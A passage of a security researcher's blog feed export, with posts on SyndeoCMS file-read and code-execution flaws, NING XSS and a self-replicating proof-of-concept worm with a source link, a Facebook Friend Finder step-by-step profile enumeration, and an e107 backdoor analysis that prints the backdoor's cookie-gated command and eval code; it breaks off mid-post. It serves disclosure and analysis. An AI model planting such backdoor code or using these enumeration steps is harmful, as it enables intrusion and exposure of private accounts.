/><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-XjRKzxvIaqY/TbmeX1yez8I/AAAAAAAAAGU/pz9R2Rh-LuM/s72-c/adv_1.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQMQ3c-fyp7ImA9Wx5QGU0.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-5649869883698525643</id><published>2010-09-07T18:13:00.000-07:00</published><updated>2010-09-07T18:13:02.957-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-07T18:13:02.957-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="facebook" /><category scheme="http://www.blogger.com/atom/ns#" term="privacy" /><title>FaceBook Research?</title><content type="html">Was just poking around some FaceBook DNS stuff and noticed that &lt;a href="http://research.facebook.com/"&gt;http://research.facebook.com/&lt;/a&gt; redirects to the decipherinc.com homepage, which is a data collection and market research firm. Creepy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-5649869883698525643?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PMIO0PWyXdmAjA05w6XekkK7lWA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PMIO0PWyXdmAjA05w6XekkK7lWA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PMIO0PWyXdmAjA05w6XekkK7lWA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PMIO0PWyXdmAjA05w6XekkK7lWA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/T2Msb1mn_aM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/5649869883698525643/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2010/09/facebook-research.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/5649869883698525643?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/5649869883698525643?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/T2Msb1mn_aM/facebook-research.html" title="FaceBook Research?" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2010/09/facebook-research.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8NQ38zfCp7ImA9WhZTGU8.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-6289420685229336063</id><published>2010-09-04T07:42:00.000-07:00</published><updated>2011-03-23T17:34:52.184-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-23T17:34:52.184-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="lol" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>MOAUB #4 SyndeoCMS Errors</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;For the last couple of days a group named &lt;a href="http://www.abysssec.com/"&gt;Abysssec&lt;/a&gt; has been releasing a number of "0days" for their month of unpatched bugs event. Personally, I am not a fan of these types of events, and tend to lean more toward the "&lt;a href="http://trailofbits.com/2009/03/22/no-more-free-bugs/"&gt;No more free bugs&lt;/a&gt;", but everyone has an opinion ... &lt;br /&gt;
&lt;br /&gt;
Anyway, I finally got to sit down this morning and check out some of these issues out, and wanted to take a minute to make a correction to their research located @ &lt;a href="http://www.exploit-db.com/exploits/14887/"&gt;http://www.exploit-db.com/exploits/14887/&lt;/a&gt; which erroneously labels a fread issue as a file inclusion issue. Below is a small snippet from the&amp;nbsp; previously mentioned advisory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_2XllQAzwGBk/TIJQqEr85oI/AAAAAAAAAEs/BAAcO4zD-CE/s1600/blog1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_2XllQAzwGBk/TIJQqEr85oI/AAAAAAAAAEs/BAAcO4zD-CE/s320/blog1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This may confuse some people because the example given shows a url executing the "edit_css" branch while the "save_css" part is what is actually shown in their advisory. In addition to that minor discrepancy are a few more issues worth pointing out. &lt;br /&gt;
&lt;br /&gt;
1] There are no checks for traversal sequences within "edit_css" at all, and that is why "..%2F" works to disclose file contents. A urlencoded character such as "%2F" is already translated into "/" by the time it reaches the affected code, and since a literal "%2F" is not translated during the fopen call you simply cannot bypass this with URI encoding.&lt;br /&gt;
&lt;br /&gt;
2] This issue is NOT a file inclusion issue at all, and instead is a fopen/fread issue that allows an attacker to disclose file contents, and not actually "include" code that could be executed by the PHP interpreter.&lt;br /&gt;
&lt;br /&gt;
3] The "save_css" bit is vulnerable to php code execution, which does not require any sort of directory traversal, due to a careless fopen/fwrite usage @ lines 73-75 of con_configuration.inc.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_2XllQAzwGBk/TIJYQFN9u-I/AAAAAAAAAE0/rKIToMb6N8w/s1600/blog2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_2XllQAzwGBk/TIJYQFN9u-I/AAAAAAAAAE0/rKIToMb6N8w/s320/blog2.png" style="cursor: move;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I am not quite sure how this code execution bug got missed considering part of the actual vulnerable source was included in the original advisory. &lt;br /&gt;
&lt;br /&gt;
4] To even reach the configuration functionality you must be authorized. However, using the Abysssec "add admin" CSRF bug this point becomes less of an obstacle for an attacker.&lt;br /&gt;
&lt;br /&gt;
Also, thanks &lt;a href="http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/"&gt;Abyssec&lt;/a&gt;, for using several code examples from my research without crediting me. I am glad that I could help ... &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-6289420685229336063?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cbou7rUwNRCzWevvBT2acJmq33E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cbou7rUwNRCzWevvBT2acJmq33E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cbou7rUwNRCzWevvBT2acJmq33E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cbou7rUwNRCzWevvBT2acJmq33E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/S1mNIP63888" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/6289420685229336063/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2010/09/moaub-4-syndeocms-errors.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6289420685229336063?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6289420685229336063?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/S1mNIP63888/moaub-4-syndeocms-errors.html" title="MOAUB #4 SyndeoCMS Errors" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_2XllQAzwGBk/TIJQqEr85oI/AAAAAAAAAEs/BAAcO4zD-CE/s72-c/blog1.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2010/09/moaub-4-syndeocms-errors.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4NQXw5fip7ImA9Wx5QFEU.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-6823266236256168191</id><published>2010-08-29T10:03:00.000-07:00</published><updated>2010-09-02T19:29:50.226-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-02T19:29:50.226-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="ning" /><title>NINGA, please!</title><content type="html">&lt;a href="http://www.ning.com/"&gt;NING&lt;/a&gt; is a popular social network community created by internet pioneer, and Netscape founder Marc Andreessen that allows users to create custom social networks similar to Facebook. NING currently host hundreds of thousands of social networks which includes (but is not limited to) websites belonging to the likes of Tyra Banks, Ellen Degeneres, 50 Cent, Meg Whitman, Enrique Iglesias, Kid Rock, Linkin Park, Jay-Z, and many many more.&lt;br /&gt;
&lt;br /&gt;
Recently, after joining a NING powered community I noticed that the functionality of the &lt;a href="http://developer.ning.com/docs/opensocial/1.0/index.html"&gt;NING&lt;/a&gt; framework seemed to be a bit buggy. I first became aware of this after accidentally typing a set of double quotes into the member search, and realizing by the broken HTML, that a core component of NING seemed to be vulnerable to a simple Cross Site Scripting issue. Unfortunately, XSS bugs are fairly common, but can be especially problematic on community driven websites that rely on cookie based authentication, or have no &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt; protection.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_2XllQAzwGBk/THqa0Bxze3I/AAAAAAAAAEk/oagNYSqlJow/s1600/blog1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_2XllQAzwGBk/THqa0Bxze3I/AAAAAAAAAEk/oagNYSqlJow/s320/blog1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After realizing there were some substantial problems I started to look around the site a bit more, and noticed that NING has user application functionality similar to most social networking websites. Also, NING allows the loading of unrecognized apps via a XML file located via a remote URL. NING apps are basically a combination of HTML, and JavaScript wrapped up within an XML file, so JavaScript execution within the context of a victim's browser is trivial.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_2XllQAzwGBk/THqEgMfNO5I/AAAAAAAAADs/ZOc6LuIO2ug/s1600/blog2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_2XllQAzwGBk/THqEgMfNO5I/AAAAAAAAADs/ZOc6LuIO2ug/s320/blog2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
This seems to be fairly unsafe at first glance, but applications are hosted on a completely different domain as a means to prevent cross domain based scripting attacks. However, if an attacker has an XSS bug available to them, cross domain policy usually becomes trivial to bypass, as seen in the images below.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://2.bp.blogspot.com/_2XllQAzwGBk/THqV1wb2cjI/AAAAAAAAAEU/j4InIEG2-uE/s1600/blog7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_2XllQAzwGBk/THqV1wb2cjI/AAAAAAAAAEU/j4InIEG2-uE/s320/blog7.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_2XllQAzwGBk/THqGN3lrZdI/AAAAAAAAAD8/CwgEKNYpjMQ/s1600/blog4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_2XllQAzwGBk/THqGN3lrZdI/AAAAAAAAAD8/CwgEKNYpjMQ/s320/blog4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since a users apps are displayed within a page accessed via their public profile writing a NING social network based malware seems trivial at this point, and to make matters even worse the CSRF protection token "xg_token" simply does not work. (This point would be moot anyway due to the XSS bugs) It is also worth&amp;nbsp; mentioning that if an attacker wanted to write a really nasty piece of malware that would take over accounts, it would be fairly easy due to a flaw in NING that allows for a password to be updated without knowing the original, as seen below; and once an attacker knows the password updating the core account settings becomes possible too.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_2XllQAzwGBk/THqMe96ENQI/AAAAAAAAAEE/35f24oGhZtc/s1600/blog5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_2XllQAzwGBk/THqMe96ENQI/AAAAAAAAAEE/35f24oGhZtc/s320/blog5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_2XllQAzwGBk/THqNlcOLCUI/AAAAAAAAAEM/UT4JqsQ5jG8/s1600/blog6.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_2XllQAzwGBk/THqNlcOLCUI/AAAAAAAAAEM/UT4JqsQ5jG8/s320/blog6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The end result of my research is a simple NING application based, self replicating malware named NINGA. This application is simply a proof of concept, and only seeks to spread itself. However, just about any action you can imagine would be possible such as mass messaging, data harvesting, account hijacking, and much more.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, there is no public bug reporting interface that I am aware of, and NING also seems to not have a security contact, (though, attempts were made to email security@ning.com)&amp;nbsp; so these issues are still present. Hopefully, someone from the NING development team will see this and work on resolving the multiple security issues affecting NING networks, before someone takes the time to write a more complex piece of malware that is created for nefarious purposes.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Download NINGA source&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;a href="https://docs.google.com/leaf?id=0B5oxcQ53hliTZmEyYjg5NjEtMDRiOS00MTg1LWE0NjEtOGViOGZhMTYyMGZi&amp;amp;hl=en"&gt;https://docs.google.com/leaf?id=0B5oxcQ53hliTZmEyYjg5NjEtMDRiOS00MTg1LWE0NjEtOGViOGZhMTYyMGZi&amp;amp;hl=en&lt;/a&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;DISCLAIMER&lt;/span&gt;:  All research was conducted using two test accounts that I created, and  any malware created was protected by an ACL to prevent anyone except  myself from being able to load the malicious application. This research  was conducted for academic purposes only!&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-6823266236256168191?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2mxlptfSTG2o6_sOeVdaybAcPZg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2mxlptfSTG2o6_sOeVdaybAcPZg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2mxlptfSTG2o6_sOeVdaybAcPZg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2mxlptfSTG2o6_sOeVdaybAcPZg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/KZpD2FnOGFM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/6823266236256168191/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2010/08/ninga-please.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6823266236256168191?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6823266236256168191?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/KZpD2FnOGFM/ninga-please.html" title="NINGA, please!" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_2XllQAzwGBk/THqa0Bxze3I/AAAAAAAAAEk/oagNYSqlJow/s72-c/blog1.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2010/08/ninga-please.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEMESXY5fSp7ImA9Wx5RGEw.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-7648424139240308567</id><published>2010-08-24T10:33:00.000-07:00</published><updated>2010-08-26T02:53:28.825-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-26T02:53:28.825-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="facebook" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="privacy" /><title>Facebook Information Leakage ... Again</title><content type="html">Recently there was an issue with the way Facebook handles the privacy of basic user information. The problem was, that if an individual logged in with the correct email, but incorrect password, a page would be displayed that contained the name, and image of the profile corresponding to the submitted email address. This of course is a bad thing, especially for people who have really locked their Facebook profiles down, and expect the previously mentioned information to remain private.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, after a few minutes of poking around to see if the issue was properly resolved I was able to find an almost identical issue within the core of the Facebook "Friend Finder" feature that allows an attacker to correlate not only email addresses to private profiles, but IM Handles as well. In order to take advantage of this information leak, all an attacker needs to do is follow these simple steps.&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;b&gt;1.&lt;/b&gt; Navigate to the Facebook "Friend Finder" feature.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2.&lt;/b&gt;&amp;nbsp; Click the "Upload Contact File" option in order to access the file upload prompt (Other contact import features work as well. i.e. Import from webmail contacts, and even import IM Contacts).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3.&lt;/b&gt; Upload a contact file of ANY of the accepted formats that contains a list of email addresses that you would like to enumerate.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4.&lt;/b&gt; If the account is not viewable due to privacy settings then you will be  presented with a page like the one shown in the following image. Select the target email(s), and click "Invite to Join.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_2XllQAzwGBk/THP5_Qu1ZCI/AAAAAAAAAC8/mcdl0dtGSDw/s1600/blog2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_2XllQAzwGBk/THP5_Qu1ZCI/AAAAAAAAAC8/mcdl0dtGSDw/s320/blog2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;5. &lt;/b&gt;If the email you are targeting DOES have a restricted Facebook profile then an email invite will not be sent, and a page like the following will be visible, which contains a link to the Facebook profile associated with the target email address to be enumerated.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_2XllQAzwGBk/THP7hKpNIHI/AAAAAAAAADE/XXdXmo-1MvI/s1600/blog4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_2XllQAzwGBk/THP7hKpNIHI/AAAAAAAAADE/XXdXmo-1MvI/s320/blog4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As previously mentioned, the "Friend Finder" feature can also be abused via other vectors as well, to leak user information such as IM Handles (AIM, MSN, ICQ, etc.) as seen in the image below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_2XllQAzwGBk/THQA5Brb5TI/AAAAAAAAADM/uKtAvKuDD0o/s1600/blog5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_2XllQAzwGBk/THQA5Brb5TI/AAAAAAAAADM/uKtAvKuDD0o/s320/blog5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Even though these issues that I point out here are new, privacy leaks are nothing new at all to Facebook, and will likely be an issue for the foreseeable future. &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_2XllQAzwGBk/THY3qJxG03I/AAAAAAAAADU/JBtB4nOF1cg/s1600/blogger_fail.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_2XllQAzwGBk/THY3qJxG03I/AAAAAAAAADU/JBtB4nOF1cg/s320/blogger_fail.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;UPDATE:&lt;/b&gt;&amp;nbsp; Facebook has since corrected these issues. Also, thanks  to Blogger for an epic fail, and locking my blog for no reason the day I  created this article. I truly appreciate that guys; and it only took  you two days to realize you noobed it up, I'm impressed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-7648424139240308567?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KIlp7y80a-82_SkfdO_l5bMELLk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KIlp7y80a-82_SkfdO_l5bMELLk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KIlp7y80a-82_SkfdO_l5bMELLk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KIlp7y80a-82_SkfdO_l5bMELLk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/JGsFBa6mFk8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/7648424139240308567/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2010/08/facebook-information-leakage-again.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/7648424139240308567?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/7648424139240308567?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/JGsFBa6mFk8/facebook-information-leakage-again.html" title="Facebook Information Leakage ... Again" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_2XllQAzwGBk/THP5_Qu1ZCI/AAAAAAAAAC8/mcdl0dtGSDw/s72-c/blog2.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2010/08/facebook-information-leakage-again.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQBRnk_fyp7ImA9WxBXFkU.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-2097071931964673407</id><published>2010-01-28T04:33:00.000-08:00</published><updated>2010-01-28T04:39:17.747-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-28T04:39:17.747-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="e107" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Brief analysis of the e107 fiasco</title><content type="html">Earlier this week &lt;a href="http://www.acunetix.com/"&gt;Bogdan Calin&lt;/a&gt; posted to the &lt;a href="http://seclists.org/fulldisclosure/"&gt;Full-Disclosure mailing list&lt;/a&gt; a &lt;a href="http://seclists.org/fulldisclosure/2010/Jan/480"&gt;mesage&lt;/a&gt; stating that the popular &lt;a href="http://www.e107.org/"&gt;e107 web application&lt;/a&gt; apparently had been modified recently to contain the following malicious code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {  
2:  ...  
3:  if(!empty($_POST['cmd'])){  
4:       $out = execute($_POST['cmd']);  
5:  }  
6:  elseif(!empty($_POST['php'])){  
7:       ob_start();  
8:       eval($_POST['php']);  
9:       $out = ob_get_contents();  
10:       ob_end_clean();  
11:  }  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
